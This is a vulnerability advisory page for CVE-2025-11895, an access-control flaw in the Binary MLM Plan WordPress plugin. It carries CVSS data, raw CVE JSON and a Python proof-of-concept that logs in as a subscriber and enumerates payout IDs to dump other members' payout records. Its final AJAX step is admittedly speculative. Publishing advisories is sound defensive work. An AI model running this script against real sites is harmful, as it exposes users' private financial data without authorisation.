Security Vulnerability Report
中文
CVE-2025-11895 CVSS 4.3 MEDIUM

CVE-2025-11895

Published: 2025-10-17 10:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Binary MLM Plan plugin for WordPress is vulnerable to insecure direct object reference in versions up to, and including, 5.0. This is due to the bmp_user_payout_detail_of_current_user() function selecting payout records solely by id without verifying ownership. This makes it possible for authenticated attackers with the bmp_user role (often subscribers) to view other members' payout summaries via direct requests to the /bmp-account-detail/ endpoint with a crafted payout-id parameter granted they can access the shortcode output.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Binary MLM Plan Plugin <= 5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11895 PoC - Binary MLM Plan Plugin IDOR Exploit # Vulnerability: Insecure Direct Object Reference in bmp_user_payout_detail_of_current_user() # Affected: Binary MLM Plan Plugin <= 5.0 import requests # Target configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" # Account with bmp_user role PASSWORD = "password123" # Step 1: Authenticate to WordPress to obtain session cookie session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Access the page containing the [bmp-account-detail] shortcode # The shortcode renders the payout detail page accessible at /bmp-account-detail/ account_page = session.get(f"{TARGET_URL}/bmp-account-detail/") # Step 3: Exploit IDOR by manipulating payout-id parameter # Iterate through payout IDs to enumerate other users' payout details for payout_id in range(1, 100): # Craft request with manipulated payout-id parameter exploit_url = f"{TARGET_URL}/bmp-account-detail/?payout-id={payout_id}" response = session.get(exploit_url) # Check if the response contains payout information if "payout" in response.text.lower() and response.status_code == 200: print(f"[+] Found payout record ID {payout_id}:") # Extract sensitive information from the response # The response typically contains user payout summary data print(response.text) print("-" * 80) # Alternative: Direct parameter manipulation via AJAX/REST endpoint # Some implementations may expose the function via WordPress AJAX handler ajax_data = { "action": "bmp_user_payout_detail_of_current_user", "payout_id": 1 # Change to target other users' payout IDs } response = session.post(f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_data) print(f"AJAX Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11895", "sourceIdentifier": "[email protected]", "published": "2025-10-17T10:15:33.907", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Binary MLM Plan plugin for WordPress is vulnerable to insecure direct object reference in versions up to, and including, 5.0. This is due to the bmp_user_payout_detail_of_current_user() function selecting payout records solely by id without verifying ownership. This makes it possible for authenticated attackers with the bmp_user role (often subscribers) to view other members' payout summaries via direct requests to the /bmp-account-detail/ endpoint with a crafted payout-id parameter granted they can access the shortcode output."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/binary-mlm-plan/trunk/includes/bmp-hook-functions.php#L833", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/adba7d0c-29ca-49c5-ac75-bb79d62f6107?source=cve", "source": "[email protected]"}]}}